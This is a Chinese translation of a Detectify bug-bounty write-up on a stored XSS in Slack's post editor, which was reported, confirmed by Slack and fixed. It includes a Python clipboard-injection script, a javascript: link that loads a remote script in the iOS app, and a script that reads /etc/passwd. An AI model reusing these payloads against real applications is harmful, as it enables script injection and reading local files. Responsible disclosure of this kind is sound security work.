原文标题:《Using Chrome's web-custom-data UTI to inject a stored XSS in Slack
原文发表时间:2016.09.01
原文作者:labsdetectify
简介: 这是我几个月前发现的 Slack 的一个难以复现的 bug 。虽然难以复现,但是因为一个遗留的迁移 payload 还是能正常的工作。通过使用python的AppKit将数据插入到Chrome浏览器的富文本格式剪贴板,我能够在 Slack 里添加修改 xss payload
几个月前,当我看着 Slack 的新的编辑器的时候,我发现我以前使用 MarkDown 写的文章已经被迁移到了新的编辑器里。由于一些原因,一些文章中的链接有了 javascript:-协议
这太有趣了,因为我没有用相同的行为去创建新的链接。我以前的文章有效,就是这样。我怎么能够展示 Slack 的问题现在是存在的呢?payload 能否被修改去做更多的事情而不单单是一个 alert() 呢?
第一个方法,代理 Rocket socket我发现通过使用浏览器的复制粘贴,我可以插入一个新的包含恶意链接的元素。同时也出触发了一个在他们 socket 连接中的 Rocket: 事件
{"type": "rocket", "event":"rocket", "payload": ... {"type": "unfurl", "originalFragment": ... "_data":{"type":"p","text":"javascript:alert(document.domain%29","tabbing":0, "links":{"xxx":[0,22]},"formats":[]}, ... ,"r":19,"$":15,"type":"mm","sel":[[3],0,[3],0]},"id":25}我把这个提交给了 Slack,展示了如何使用代理捕获到这一个事件,使用 "Unfurl" 插入新元素,这是据说有 bug 的元素类型。有一个很有趣的事情就是在 slack-files.com 查看这篇文章,有一个缓解javascript:-URIs:的地方
if (protocol && /^https?:$/.test(protocol) === false) { e.preventDefault(); if (console && typeof console.warn === "function") { console.warn("not following bad link from a post preview") } }然而在团队中查看文章并没有相同的缓解措施:
当 Slack 回复的时候,他们并不能像我说的那样插入 payload 。由于所有的 markers, IDs 和 counters 必须正确的设置, Rocket socket 有一些乱。他们也认为这个问题在slack-files.com 无法触发,只能在 [teamname].slack.com 触发。 第二个方法,使用剪切板
我重新思考了下怎么制作一个 POC
因为我知道把 payload 放到剪切板里,我可以把它粘贴到一个新的文章里,我计划是制作一个小脚本,把 payload 注入到剪切板里。这样就可以在他们运行脚本的时候创建一个 POC 得到剪切板的数据,然后粘贴到 Slack 的文章编辑器里,使其引入恶意链接。
我找到了一个很好的工具叫做 Clipboard Viewer ,这个工具实际上是一个 Xcode 的示例程序,他基本列出了在剪切板里所有的 UTIs (Uniform Type Identifiers)。当然,它也可以单独导出每种类型。
(译者注:UTI 的含义是Uniform Type Identifiers,统一类型标识符)
我注意到这个 UTI 使用了 Chrome 的 RTF 叫做 org.chromium.web-custom-data。它的二进制数据中有 使用 UTF-16 LE 编码的 application/spaces+json
首先修改这个二进制数据为我自己的 payload,然后使用下面的 Python 脚本:
from AppKit import NSPasteboard, NSData uti = "org.chromium.web-custom-data" chromium = open('chromium').read() pb = NSPasteboard.generalPasteboard() pb.clearContents() pb.declareTypes_owner_([uti], None) data = NSData.dataWithBytes_length_(chromium, len(chromium)) pb.setData_forType_(data, uti)剪切板中就会有新的 Payload
我的 PoC现在我已经实现了:
通过HexFiend 用 UTF-16 LE 编码 修改我的 chromium-file 里的 payload。
在 Slack 创建一篇新的文章
运行 python 脚本,把 payload 插入到剪切板
粘贴剪切板的内容到文章。
现在这篇文章已经包含了恶意链接。
我可以把这个文章的链接分享到我的团队里,点击这篇文章的链接就会触发 XSS
在这,我还注意到Slack 的 ios 应用也可以正常触发这个 XSS。当时 Bishop Fox 刚刚写了一篇 关于 OSX 的应用中运行 Javascript 缺乏 SOP 的文章
在 iOS 上使用其中相同的技术,我的链接看起来像这样:
javascript:x=document.createElement("script"); x.src="https://link-to-script.js"; document.children[0].children[1].appendChild(x);指向的脚本包含下面内容:
function ajax(cb) { var xhttp = new XMLHttpRequest(); xhttp.addEventListener('load', cb) return xhttp; } function get(f, cb) { try { xhttp = ajax(cb) xhttp.open("GET", f); xhttp.send(); } catch(e) { alert(e); } } get('file:///etc/passwd', function(d){ alert(this.responseText) });在 Slack 中用这个链接使用这个方法弹出 iphone 的/etc/passwd
我通过评论把这个也交给了Slack,告诉他们这个也可以在他们的 iOS 应用里正常运行。
尽管我尝试去做一个清晰的 PoC,由于一些原因,Slack 仍然无法重现这个问题。
##最后的方法,自己看
最后,我邀请 Slack 的人员进入我自己的 Slack 团队,里面有两个可以正常使用的例子,AR(Slack 的人员)加入我的团队中,最终确认了在 web 应用和 iOS 的这两个问题。
最后说说
由于一些原因,这个问题很难去证明,但是我还是很高兴 Slack 使用额外的步骤加入我的团队去证实确实存在这个问题。同时,我也学习到了很多在 OSX 剪切板里的数据类型。Slack的这两个个问题现在已经修复了。 给这个 bug 支付了$1000
原文地址: https://labs.detectify.com/2016/09/01/using-chromes-web-custom-data-uti-to-inject-a-stored-xss-in-slack/